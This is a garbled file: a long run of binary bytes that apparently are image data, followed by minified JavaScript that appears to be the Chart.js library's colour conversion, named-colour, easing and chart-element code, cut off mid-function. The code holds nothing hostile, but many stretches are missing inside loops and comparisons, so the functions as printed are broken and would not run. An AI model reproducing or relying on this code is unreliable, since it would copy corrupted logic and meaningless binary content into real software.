77fgEE87A?lib`0/ 0+HBRKSMRLOHA<$! %!93?9@9?9>7=6=6=7=6>7@9B;<5,&<;aa;;--<<^]`]41 0+HBRKSMRLOHB<$!1-KESMTNSNQKPJPJPJPJQJUNXQQJ=6'! *)mkkmLM66.-32NLTR+* 0+HBRKSMSLOHB<$!63SN\W]X]W[UYSYSYSYSZS^Wb[\TIB3- @?trOP&)+*OM~FD   0+HBRKSMSLOHB<$!40PJXRYSYSVPUNUNUOUNVOXQ[TYQOH@:'#A@xvec?? IGpn|zHF   0+HBRKSMSLOHB<$! ,'C=JDKEJDHBGAGAGAGAHAIBJCKDLEE>0* >;^Yf^]UF?# JIjh42 0+HBRKSMSLOHB<%!  ,'0,1,1,0*/*/*/*/*/*/*/+1,503.'" /+2,,&  &%OMwv87 0+HBRKSMSLOHC<'"      "#cbVV-. 0+HBRKSMSKOHC<'#    12\]¿XW !  0+HBRKSMSKOHC<(#  IIvtB@   0+HBRKSMSLOHC<'" &&KK~|87 0+HBRLTMSLPHB<%!10`_~om@? 0+HBRLTMSLPHB<%! 21a_tq^Y^X{uok.-  0+HBRKSLSKOHD>,(                 64jhrp[Wd_{nj>; 0+HBQKRKRJOGG@82(#"!!""#""""""""##$("% 2.b^TW=@BA\X^\+) 1,HCQJQIPHNFIBB;:46/5.5-5.60606060606060606060606081<593&!62fbwvQR3614QP|a^0.  3.JDQJOHMFLEKDKDJCJBIBIBIBICICICICICICICICICICIBIBKDOHMG?9/*%"$#CBhjCE-.32OOsrws{uQP*) 2-JDRKPINGMFNGRJUMWOWPWPVOVOVOVOVOVOVOVOVOVOVOVOVOWPZTYSRLF@3/++_]ÿWX$&A@~|\XQKpk|zIG.*JDUNWPVOTMSLVNYQZRZSZSZRZRZRZRZRZRZRZRZRZRZRZRZRZS[T[U[TWPHC5330C?[VzvolMK&&34ff~}[[QP^ZwsqpCB!!  '#E?TMZS[TXPUNUMVNVNVNVNVNVNVNVNVNVNVNVNVNVNVNVNVNVNUNVOZT]WXSNH@;0+)#5/C>;7#".-tr^]3298zxTS+*5.D=NGRKPHMFMEMELDLDLDLDLDLDLDLDLDLDLDLDLDLDLDLDLDKCKDPITMTMPID=-',,IHrpYY,,''>7>6=5=5=5<5<5<5<5<5<5<5<5<5<5<5<5<5<5<5<5<5=6>7A:D=?92-#  CBom`_/0FGKL&' % +%+&+%*$*$)#)#)#)#)#)#)#)#)#)#)#)#)#)#)#)#)#)#)#(#(#,&1+0+)% '&hfed)( 8;|}JK   65lkHG,+('_`lm<>75SR.-/.^]rq&(QOfd@?%$ ?=trki:9 43¿~z?= %#IF~|`_! PO~|~miIF $#OLki43 **,*$# +(WSRQ%$10]ZYW#"NL}{usHF&%.-{xhf87 55ge65 % 12TR,*  4,)#!"ZZ][(& C;3- >>urgc20 "+$UL>8@=eafaSM73.(;4meyKE-+-*#  =8SL뜉VSOtLGohx.MJSROlL 536 POI"-+"x  " SR1 ($SOQMTB?#! 93G@hZU w{u2lge41 ,(UMj`Ee[_Utm3;6y$  *&ZRCzzokaysMF?8O71&! %#\C?woD<D<D<NE*D=]+'  2/r9651/1/1/ZTZTZT\V*)S  --hur,spspsp)o  578 ////2110+,+S((!!""((e129HI`^AAR22  *)=;blh) ;;;;== ??$88D++d!   %#l.-K>=*po[Z"$@? [X[X;IF\74(& *&93C>iLHEJF$64 ()lh hd+FBE2.`# {  3.fF?L[T3sl}w qkqkqk`\ @<84;7/?;DHDWLIiD@}40%! 0,@1&&(a-=1)),[360*a,100*r,100*u]},a.rgb.hwb=function(t){var e=t[0],n=t[1],i=t[2];return[a.rgb.hsl(t)[0],100*(1/255*Math.min(e,Math.min(n,i))),100*(i=1-1/255*Math.max(e,Math.max(n,i)))]},a.rgb.cmyk=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255;return[100*((1-n-(e=Math.min(1-n,1-i,1-a)))/(1-e)||0),100*((1-i-e)/(1-e)||0),100*((1-a-e)/(1-e)||0),100*e]},a.rgb.keyword=function(t){var i=e[t];if(i)return i;var a,r,o,s=1/0;for(var l in n)if(n.hasOwnProperty(l)){var u=n[l],d=(r=t,o=u,Math.pow(r[0]-o[0],2)+Math.pow(r[1]-o[1],2)+Math.pow(r[2]-o[2],2));d.04045?Math.pow((e+.055)/1.055,2.4):e/12.92)+.3576*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)+.1805*(i=i>.04045?Math.pow((i+.055)/1.055,2.4):i/12.92)),100*(.2126*e+.7152*n+.0722*i),100*(.0193*e+.1192*n+.9505*i)]},a.rgb.lab=function(t){var e=a.rgb.xyz(t),n=e[0],i=e[1],r=e[2];return i/=100,r/=108.883,n=(n/=95.047)>.008856?Math.pow(n,1/3):7.787*n+16/116,[116*(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116)-16,500*(n-i),200*(i-(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116))]},a.hsl.rgb=function(t){var e,n,i,a,r,o=t[0]/360,s=t[1]/100,l=t[2]/100;if(0===s)return[r=255*l,r,r];e=2*l-(n=l<.5?l*(1+s):l+s-l*s),a=[0,0,0];for(var u=0;u<3;u++)(i=o+1/3*-(u-1))<0&&i++,i>1&&i--,r=6*i<1?e+6*(n-e)*i:2*i<1?n:3*i<2?e+(n-e)*(2/3-i)*6:e,a[u]=255*r;return a},a.hsl.hsv=function(t){var e=t[0],n=t[1]/100,i=t[2]/100,a=n,r=Math.max(i,.01);return n*=(i*=2)<=1?i:2-i,a*=r<=1?r:2-r,[e,100*(0===i?2*a/(r+a):2*n/(i+n)),100*((i+n)/2)]},a.hsv.rgb=function(t){var e=t[0]/60,n=t[1]/100,i=t[2]/100,a=Math.floor(e)%6,r=e-Math.floor(e),o=255*i*(1-n),s=255*i*(1-n*r),l=255*i*(1-n*(1-r));switch(i*=255,a){case 0:return[i,l,o];case 1:return[s,i,o];case 2:return[o,i,l];case 3:return[o,s,i];case 4:return[l,o,i];case 5:return[i,o,s]}},a.hsv.hsl=function(t){var e,n,i,a=t[0],r=t[1]/100,o=t[2]/100,s=Math.max(o,.01);return i=(2-r)*o,n=r*s,[a,100*(n=(n/=(e=(2-r)*s)<=1?e:2-e)||0),100*(i/=2)]},a.hwb.rgb=function(t){var e,n,i,a,r,o,s,l=t[0]/360,u=t[1]/100,d=t[2]/100,h=u+d;switch(h>1&&(u/=h,d/=h),i=6*l-(e=Math.floor(6*l)),0!=(1&e)&&(i=1-i),a=u+i*((n=1-d)-u),e){default:case 6:case 0:r=n,o=a,s=u;break;case 1:r=a,o=n,s=u;break;case 2:r=u,o=n,s=a;break;case 3:r=u,o=a,s=n;break;case 4:r=a,o=u,s=n;break;case 5:r=n,o=u,s=a}return[255*r,255*o,255*s]},a.cmyk.rgb=function(t){var e=t[0]/100,n=t[1]/100,i=t[2]/100,a=t[3]/100;return[255*(1-Math.min(1,e*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a)),255*(1-Math.min(1,i*(1-a)+a))]},a.xyz.rgb=function(t){var e,n,i,a=t[0]/100,r=t[1]/100,o=t[2]/100;return n=-.9689*a+1.8758*r+.0415*o,i=.0557*a+-.204*r+1.057*o,e=(e=3.2406*a+-1.5372*r+-.4986*o)>.0031308?1.055*Math.pow(e,1/2.4)-.055:12.92*e,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,i=i>.0031308?1.055*Math.pow(i,1/2.4)-.055:12.92*i,[255*(e=Math.min(Math.max(0,e),1)),255*(n=Math.min(Math.max(0,n),1)),255*(i=Math.min(Math.max(0,i),1))]},a.xyz.lab=function(t){var e=t[0],n=t[1],i=t[2];return n/=100,i/=108.883,e=(e/=95.047)>.008856?Math.pow(e,1/3):7.787*e+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(e-n),200*(n-(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116))]},a.lab.xyz=function(t){var e,n,i,a=t[0];e=t[1]/500+(n=(a+16)/116),i=n-t[2]/200;var r=Math.pow(n,3),o=Math.pow(e,3),s=Math.pow(i,3);return n=r>.008856?r:(n-16/116)/7.787,e=o>.008856?o:(e-16/116)/7.787,i=s>.008856?s:(i-16/116)/7.787,[e*=95.047,n*=100,i*=108.883]},a.lab.lch=function(t){var e,n=t[0],i=t[1],a=t[2];return(e=360*Math.atan2(a,i)/2/Math.PI)<0&&(e+=360),[n,Math.sqrt(i*i+a*a),e]},a.lch.lab=function(t){var e,n=t[0],i=t[1];return e=t[2]/360*2*Math.PI,[n,i*Math.cos(e),i*Math.sin(e)]},a.rgb.ansi16=function(t){var e=t[0],n=t[1],i=t[2],r=1 in arguments?arguments[1]:a.rgb.hsv(t)[2];if(0===(r=Math.round(r/50)))return 30;var o=30+(Math.round(i/255)<<2|Math.round(n/255)<<1|Math.round(e/255));return 2===r&&(o+=60),o},a.hsv.ansi16=function(t){return a.rgb.ansi16(a.hsv.rgb(t),t[2])},a.rgb.ansi256=function(t){var e=t[0],n=t[1],i=t[2];return e===n&&n===i?e<8?16:e>248?231:Math.round((e-8)/247*24)+232:16+36*Math.round(e/255*5)+6*Math.round(n/255*5)+Math.round(i/255*5)},a.ansi16.rgb=function(t){var e=t%10;if(0===e||7===e)return t>50&&(e+=3.5),[e=e/10.5*255,e,e];var n=.5*(1+~~(t>50));return[(1&e)*n*255,(e>>1&1)*n*255,(e>>2&1)*n*255]},a.ansi256.rgb=function(t){if(t>=232){var e=10*(t-232)+8;return[e,e,e]}var n;return t-=16,[Math.floor(t/36)/5*255,Math.floor((n=t%36)/6)/5*255,n%6/5*255]},a.rgb.hex=function(t){var e=(((255&Math.round(t[0]))<<16)+((255&Math.round(t[1]))<<8)+(255&Math.round(t[2]))).toString(16).toUpperCase();return"000000".substring(e.length)+e},a.hex.rgb=function(t){var e=t.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!e)return[0,0,0];var n=e[0];3===e[0].length&&(n=n.split("").map((function(t){return t+t})).join(""));var i=parseInt(n,16);return[i>>16&255,i>>8&255,255&i]},a.rgb.hcg=function(t){var e,n=t[0]/255,i=t[1]/255,a=t[2]/255,r=Math.max(Math.max(n,i),a),o=Math.min(Math.min(n,i),a),s=r-o;return e=s<=0?0:r===n?(i-a)/s%6:r===i?2+(a-n)/s:4+(n-i)/s+4,e/=6,[360*(e%=1),100*s,100*(s<1?o/(1-s):0)]},a.hsl.hcg=function(t){var e=t[1]/100,n=t[2]/100,i=1,a=0;return(i=n<.5?2*e*n:2*e*(1-n))<1&&(a=(n-.5*i)/(1-i)),[t[0],100*i,100*a]},a.hsv.hcg=function(t){var e=t[1]/100,n=t[2]/100,i=e*n,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.hcg.rgb=function(t){var e=t[0]/360,n=t[1]/100,i=t[2]/100;if(0===n)return[255*i,255*i,255*i];var a,r=[0,0,0],o=e%1*6,s=o%1,l=1-s;switch(Math.floor(o)){case 0:r[0]=1,r[1]=s,r[2]=0;break;case 1:r[0]=l,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=s;break;case 3:r[0]=0,r[1]=l,r[2]=1;break;case 4:r[0]=s,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=l}return a=(1-n)*i,[255*(n*r[0]+a),255*(n*r[1]+a),255*(n*r[2]+a)]},a.hcg.hsv=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e),i=0;return n>0&&(i=e/n),[t[0],100*i,100*n]},a.hcg.hsl=function(t){var e=t[1]/100,n=t[2]/100*(1-e)+.5*e,i=0;return n>0&&n<.5?i=e/(2*n):n>=.5&&n<1&&(i=e/(2*(1-n))),[t[0],100*i,100*n]},a.hcg.hwb=function(t){var e=t[1]/100,n=e+t[2]/100*(1-e);return[t[0],100*(n-e),100*(1-n)]},a.hwb.hcg=function(t){var e=t[1]/100,n=1-t[2]/100,i=n-e,a=0;return i<1&&(a=(n-i)/(1-i)),[t[0],100*i,100*a]},a.apple.rgb=function(t){return[t[0]/65535*255,t[1]/65535*255,t[2]/65535*255]},a.rgb.apple=function(t){return[t[0]/255*65535,t[1]/255*65535,t[2]/255*65535]},a.gray.rgb=function(t){return[t[0]/100*255,t[0]/100*255,t[0]/100*255]},a.gray.hsl=a.gray.hsv=function(t){return[0,0,t[0]]},a.gray.hwb=function(t){return[0,100,t[0]]},a.gray.cmyk=function(t){return[0,0,0,t[0]]},a.gray.lab=function(t){return[t[0],0,0]},a.gray.hex=function(t){var e=255&Math.round(t[0]/100*255),n=((e<<16)+(e<<8)+e).toString(16).toUpperCase();return"000000".substring(n.length)+n},a.rgb.gray=function(t){return[(t[0]+t[1]+t[2])/3/255*100]}}));i.rgb,i.hsl,i.hsv,i.hwb,i.cmyk,i.xyz,i.lab,i.lch,i.hex,i.keyword,i.ansi16,i.ansi256,i.hcg,i.apple,i.gray;function a(t){var e=function(){for(var t={},e=Object.keys(i),n=e.length,a=0;a1&&(e=Array.prototype.slice.call(arguments));var n=t(e);if("object"==typeof n)for(var i=n.length,a=0;a1&&(e=Array.prototype.slice.call(arguments)),t(e))};return"conversion"in t&&(e.conversion=t.conversion),e}(i)}))}));var l=s,u={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},d={getRgba:h,getHsla:c,getRgb:function(t){var e=h(t);return e&&e.slice(0,3)},getHsl:function(t){var e=c(t);return e&&e.slice(0,3)},getHwb:f,getAlpha:function(t){var e=h(t);if(e)return e[3];if(e=c(t))return e[3];if(e=f(t))return e[3]},hexString:function(t,e){e=void 0!==e&&3===t.length?e:t[3];return"#"+b(t[0])+b(t[1])+b(t[2])+(e>=0&&e<1?b(Math.round(255*e)):"")},rgbString:function(t,e){if(e<1||t[3]&&t[3]<1)return g(t,e);return"rgb("+t[0]+", "+t[1]+", "+t[2]+")"},rgbaString:g,percentString:function(t,e){if(e<1||t[3]&&t[3]<1)return m(t,e);var n=Math.round(t[0]/255*100),i=Math.round(t[1]/255*100),a=Math.round(t[2]/255*100);return"rgb("+n+"%, "+i+"%, "+a+"%)"},percentaString:m,hslString:function(t,e){if(e<1||t[3]&&t[3]<1)return p(t,e);return"hsl("+t[0]+", "+t[1]+"%, "+t[2]+"%)"},hslaString:p,hwbString:function(t,e){void 0===e&&(e=void 0!==t[3]?t[3]:1);return"hwb("+t[0]+", "+t[1]+"%, "+t[2]+"%"+(void 0!==e&&1!==e?", "+e:"")+")"},keyword:function(t){return y[t.slice(0,3)]}};function h(t){if(t){var e=[0,0,0],n=1,i=t.match(/^#([a-fA-F0-9]{3,4})$/i),a="";if(i){a=(i=i[1])[3];for(var r=0;rn?(e+.05)/(n+.05):(n+.05)/(e+.05)},level:function(t){var e=this.contrast(t);return e>=7.1?"AAA":e>=4.5?"AA":""},dark:function(){var t=this.values.rgb;return(299*t[0]+587*t[1]+114*t[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var t=[],e=0;e<3;e++)t[e]=255-this.values.rgb[e];return this.setValues("rgb",t),this},lighten:function(t){var e=this.values.hsl;return e[2]+=e[2]*t,this.setValues("hsl",e),this},darken:function(t){var e=this.values.hsl;return e[2]-=e[2]*t,this.setValues("hsl",e),this},saturate:function(t){var e=this.values.hsl;return e[1]+=e[1]*t,this.setValues("hsl",e),this},desaturate:function(t){var e=this.values.hsl;return e[1]-=e[1]*t,this.setValues("hsl",e),this},whiten:function(t){var e=this.values.hwb;return e[1]+=e[1]*t,this.setValues("hwb",e),this},blacken:function(t){var e=this.values.hwb;return e[2]+=e[2]*t,this.setValues("hwb",e),this},greyscale:function(){var t=this.values.rgb,e=.3*t[0]+.59*t[1]+.11*t[2];return this.setValues("rgb",[e,e,e]),this},clearer:function(t){var e=this.values.alpha;return this.setValues("alpha",e-e*t),this},opaquer:function(t){var e=this.values.alpha;return this.setValues("alpha",e+e*t),this},rotate:function(t){var e=this.values.hsl,n=(e[0]+t)%360;return e[0]=n<0?360+n:n,this.setValues("hsl",e),this},mix:function(t,e){var n=t,i=void 0===e?.5:e,a=2*i-1,r=this.alpha()-n.alpha(),o=((a*r==-1?a:(a+r)/(1+a*r))+1)/2,s=1-o;return this.rgb(o*this.red()+s*n.red(),o*this.green()+s*n.green(),o*this.blue()+s*n.blue()).alpha(this.alpha()*i+n.alpha()*(1-i))},toJSON:function(){return this.rgb()},clone:function(){var t,e,n=new _,i=this.values,a=n.values;for(var r in i)i.hasOwnProperty(r)&&(t=i[r],"[object Array]"===(e={}.toString.call(t))?a[r]=t.slice(0):"[object Number]"===e?a[r]=t:console.error("unexpected color value:",t));return n}},_.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},_.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},_.prototype.getValues=function(t){for(var e=this.values,n={},i=0;i=0;a--)e.call(n,t[a],a);else for(a=0;a=1?t:-(Math.sqrt(1-t*t)-1)},easeOutCirc:function(t){return Math.sqrt(1-(t-=1)*t)},easeInOutCirc:function(t){return(t/=.5)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},easeInElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),-i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n))},easeOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:1===t?1:(n||(n=.3),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),i*Math.pow(2,-10*t)*Math.sin((t-e)*(2*Math.PI)/n)+1)},easeInOutElastic:function(t){var e=1.70158,n=0,i=1;return 0===t?0:2==(t/=.5)?1:(n||(n=.45),i<1?(i=1,e=n/4):e=n/(2*Math.PI)*Math.asin(1/i),t<1?i*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*-.5:i*Math.pow(2,-10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/n)*.5+1)},easeInBack:function(t){var e=1.70158;return t*t*((e+1)*t-e)},easeOutBack:function(t){var e=1.70158;return(t-=1)*t*((e+1)*t+e)+1},easeInOutBack:function(t){var e=1.70158;return(t/=.5)<1?t*t*((1+(e*=1.525))*t-e)*.5:.5*((t-=2)*t*((1+(e*=1.525))*t+e)+2)},easeInBounce:function(t){return 1-D.easeOutBounce(1-t)},easeOutBounce:function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},easeInOutBounce:function(t){return t<.5?.5*D.easeInBounce(2*t):.5*D.easeOutBounce(2*t-1)+.5}},C={effects:D};S.easingEffects=D;var P=Math.PI,T=P/180,O=2*P,A=P/2,F=P/4,I=2*P/3,L={clear:function(t){t.ctx.clearRect(0,0,t.width,t.height)},roundedRect:function(t,e,n,i,a,r){if(r){var o=Math.min(r,a/2,i/2),s=e+o,l=n+o,u=e+i-o,d=n+a-o;t.moveTo(e,l),se.left-1e-6&&t.xe.top-1e-6&&t.y0&&this.requestAnimationFrame()},advance:function(){for(var t,e,n,i,a=this.animations,r=0;r=n?(H.callback(t.onAnimationComplete,[t],e),e.animating=!1,a.splice(r,1)):++r}},Q=H.options.resolve,tt=["push","pop","shift","splice","unshift"];function et(t,e){var n=t._chartjs;if(n){var i=n.listeners,a=i.indexOf(e);-1!==a&&i.splice(a,1),i.length>0||(tt.forEach((function(e){delete t[e]})),delete t._chartjs)}}var nt=function(t,e){this.initialize(t,e)};H.extend(nt.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(t,e){var n=this;n.chart=t,n.index=e,n.linkScales(),n.addElements(),n._type=n.getMeta().type},updateIndex:function(t){this.index=t},linkScales:function(){var t=this.getMeta(),e=this.chart,n=e.scales,i=this.getDataset(),a=e.options.scales;null!==t.xAxisID&&t.xAxisID in n&&!i.xAxisID||(t.xAxisID=i.xAxisID||a.xAxes[0].id),null!==t.yAxisID&&t.yAxisID in n&&!i.yAxisID||(t.yAxisID=i.yAxisID||a.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(t){return this.chart.scales[t]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&et(this._data,this)},createMetaDataset:function(){var t=this.datasetElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(t){var e=this.dataElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index,_index:t})},addElements:function(){var t,e,n=this.getMeta(),i=this.getDataset().data||[],a=n.data;for(t=0,e=i.length;tn&&this.insertElements(n,i-n)},insertElements:function(t,e){for(var n=0;na?(r=a/e.innerRadius,t.arc(o,s,e.innerRadius-a,i+r,n-r,!0)):t.arc(o,s,a,i+Math.PI/2,n-Math.PI/2),t.closePath(),t.clip()}function ot(t,e,n){var i="inner"===e.borderAlign;i?(t.lineWidth=2*e.borderWidth,t.lineJoin="round"):(t.lineWidth=e.borderWidth,t.lineJoin="bevel"),n.fullCircles&&function(t,e,n,i){var a,r=n.endAngle;for(i&&(n.endAngle=n.startAngle+at,rt(t,n),n.endAngle=r,n.endAngle===n.startAngle&&n.fullCircles&&(n.endAngle+=at,n.fullCircles--)),t.beginPath(),t.arc(n.x,n.y,n.innerRadius,n.startAngle+at,n.startAngle,!0),a=0;as;)a-=at;for(;a=o&&a<=s,u=r>=n.innerRadius&&r<=n.outerRadius;return l&&u}return!1},getCenterPoint:function(){var t=this._view,e=(t.startAngle+t.endAngle)/2,n=(t.innerRadius+t.outerRadius)/2;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},getArea:function(){var t=this._view;return Math.PI*((t.endAngle-t.startAngle)/(2*Math.PI))*(Math.pow(t.outerRadius,2)-Math.pow(t.innerRadius,2))},tooltipPosition:function(){var t=this._view,e=t.startAngle+(t.endAngle-t.startAngle)/2,n=(t.outerRadius-t.innerRadius)/2+t.innerRadius;return{x:t.x+Math.cos(e)*n,y:t.y+Math.sin(e)*n}},draw:function(){var t,e=this._chart.ctx,n=this._view,i="inner"===n.borderAlign?.33:0,a={x:n.x,y:n.y,innerRadius:n.innerRadius,outerRadius:Math.max(n.outerRadius-i,0),pixelMargin:i,startAngle:n.startAngle,endAngle:n.endAngle,fullCircles:Math.floor(n.circumference/at)};if(e.save(),e.fillStyle=n.backgroundColor,e.strokeStyle=n.borderColor,a.fullCircles){for(a.endAngle=a.startAngle+at,e.beginPath(),e.arc(a.x,a.y,a.outerRadius,a.startAngle,a.endAngle),e.arc(a.x,a.y,a.innerRadius,a.endAngle,a.startAngle,!0),e.closePath(),t=0;tt.x&&(e=bt(e,"left","right")):t.basen?n:i,r:l.right||a<0?0:a>e?e:a,b:l.bottom||r<0?0:r>n?n:r,l:l.left||o<0?0:o>e?e:o}}function xt(t,e,n){var i=null===e,a=null===n,r=!(!t||i&&a)&&vt(t);return r&&(i||e>=r.left&&e<=r.right)&&(a||n>=r.top&&n<=r.bottom)}W._set("global",{elements:{rectangle:{backgroundColor:mt,borderColor:mt,borderSkipped:"bottom",borderWidth:0}}});var _t=$.extend({_type:"rectangle",draw:function(){var t=this._chart.ctx,e=this._view,n=function(t){var e=vt(t),n=e.right-e.left,i=e.bottom-e.top,a=yt(t,n/2,i/2);return{outer:{x:e.left,y:e.top,w:n,h:i},inner:{x:e.left+a.l,y:e.top+a.t,w:n-a.l-a.r,h:i-a.t-a.b}}}(e),i=n.outer,a=n.inner;t.fillStyle=e.backgroundColor,t.fillRect(i.x,i.y,i.w,i.h),i.w===a.w&&i.h===a.h||(t.save(),t.beginPath(),t.rect(i.x,i.y,i.w,i.h),t.clip(),t.fillStyle=e.borderColor,t.rect(a.x,a.y,a.w,a.h),t.fill("evenodd"),t.restore())},height:function(){var t=this._view;return t.base-t.y},inRange:function(t,e){return xt(this._view,t,e)},inLabelRange:function(t,e){var n=this._view;return pt(n)?xt(n,t,null):xt(n,null,e)},inXRange:function(t){return xt(this._view,t,null)},inYRange:function(t){return xt(this._view,null,t)},getCenterPoint:function(){var t,e,n=this._view;return pt(n)?(t=n.x,e=(n.y+n.base)/2):(t=(n.x+n.base)/2,e=n.y),{x:t,y:e}},getArea:function(){var t=this._view;return pt(t)?t.width*Math.abs(t.y-t.base):t.height*Math.abs(t.x-t.base)},tooltipPosition:function(){var t=this._view;return{x:t.x,y:t.y}}}),wt={},kt=st,Mt=dt,St=gt,Dt=_t;wt.Arc=kt,wt.Line=Mt,wt.Point=St,wt.Rectangle=Dt;var Ct=H._deprecated,Pt=H.valueOrDefault;function Tt(t,e,n){var i,a,r=n.barThickness,o=e.stackCount,s=e.pixels[t],l=H.isNullOrUndef(r)?function(t,e){var n,i,a,r,o=t._length;for(a=1,r=e.length;a0?Math.min(o,Math.abs(i-n)):o,n=i;return o}(e.scale,e.pixels):-1;return H.isNullOrUndef(r)?(i=l*n.categoryPercentage,a=n.barPercentage):(i=r*o,a=1),{chunk:i/o,ratio:a,start:s-i/2}}W._set("bar",{hover:{mode:"label"},scales:{xAxes:[{type:"category",offset:!0,gridLines:{offsetGridLines:!0}}],yAxes:[{type:"linear"}]}}),W._set("global",{datasets:{bar:{categoryPercentage:.8,barPercentage:.9}}});var Ot=it.extend({dataElementType:wt.Rectangle,_dataElementOptions:["backgroundColor","borderColor","borderSkipped","borderWidth","barPercentage","barThickness","categoryPercentage","maxBarThickness","minBarLength"],initialize:function(){var 